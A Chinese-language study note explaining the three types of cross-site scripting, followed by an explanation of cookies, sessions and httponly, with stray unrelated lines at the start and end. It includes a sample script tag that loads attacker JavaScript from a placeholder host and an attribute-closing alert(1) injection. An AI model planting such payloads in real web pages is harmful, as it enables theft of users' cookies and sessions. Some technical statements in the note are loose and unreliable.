朋友一生一起走呀那些日子还会有呀。
xss即跨站脚本攻击，是攻击者在网页中嵌入客户端脚本，通常是js编写的恶意的代码。当用户使用浏览器浏览被嵌入恶意代码的网页时，恶意代码会在用用户的浏览器上执行。所以js能做到什么效果，xss攻击就有多大威力。
攻击者通常使用<script src="http://www.xxx.com/x.txt"></script>> 来加载外部脚本你，而在x.txt中存在攻击者设计好的js代码。js加载的外部代码文件可以是任意扩展名。
xss主要分为三类，分别是:反射，存储和dom型。
1.反射型，也被称为非持久型xss。 当用户访问带有xss的url时，s接受数据处理后把带有xss代码的数据发送给c，浏览器解析这段数据后造成xss攻击。
2.存储型，又称为持久型xss。允许用户存储数据的web应用程序都可能出现存储型xss攻击，当攻击者提交一段xss代码后被s接受并存储，当攻击者再次访问这个页面时，这段代码被程序读出来并且响应给浏览器，造成xss攻击。存储型xss不需要手动触发，所以具有更高的隐蔽性。 以留言板为例，<input type="text" name="content" value="<script> alert(1)</script>"/> 虽然被成功插入到留言板中，但不会被执行，因为容器在解析html时，将数据以文本形式输出。可以使用类似注入的手段来造成xss攻击，就是闭合标签。<input type="text" name="content" value=""><script> alert(1)</script>"/> 在攻击前可以使用firebug快速找到标签，如果显示区域不在标签内可以直接注入。
3.dom型，即文档对象模型。dom通常代表html，xhtml，xml中的对象。dom规定：文档是文档节点，标签是元素节点，元素中的文本是文本节点，每个html属性是属性节点，节点之间有等级关系。dom型xss不需要与s交互，只发生在c处理数据阶段。
🐷 很重要的cookie和session
cookie是能够让网站把少量文本存储到c的硬盘，内存或者是从c的内外存读取数据的一种技术。cookie是一段随http请求、响应一起被传递的额外数据，它的作用是辨识用户、维持会话。当浏览某个网站时，该网站可能向硬盘写入了一个非常小的文本文件，它可以记录你的用户id、密码、停留时间等信息，这个文件就是cookie。当你再次来到这个网站时，浏览器会自动检测你的硬盘，并肩存储在本地的cookie发送给网站，网站通过读取cookie，得到你的相关信息，就可以做出相应的动作，比如：直接登录。
cookie可以分为我内存cookie和外存（硬盘）cookie：内存cookie由浏览器维护，保存在内存中，浏览器关闭后就消失；硬盘cookie保存在硬盘里有一个过期时间，除非手动清理或者到了过期时间，否则不会被删除。这个分类也可以称为持久和非持久cookie。cookie中的内容大多数都经过了加密处理，只有服务器的程序才知道真正含义。
除了cookie之外还有一种维持会话状态的形式是session。session被称为“会话”，是一种服务器端的机制，一次客户端和服务器的对话被称为session。每个用户的会话状态都是不同的session，靠着sessionID来区分用户。当用户第一次连接到s时，会自动分配一个sessionID，会话结束时session会自动注销，当用户再次链接时将会重新分配。session存储在cookie中，相当于临时cookie。
cookie和session的最大区别就是cookie将数据存储在c，session则是保存在s仅仅是在c有一个sessionID。相对来说session更加安全。但是在cookie选项中有一项httponly，带有httponly的cookie时禁止js读取的。
删啦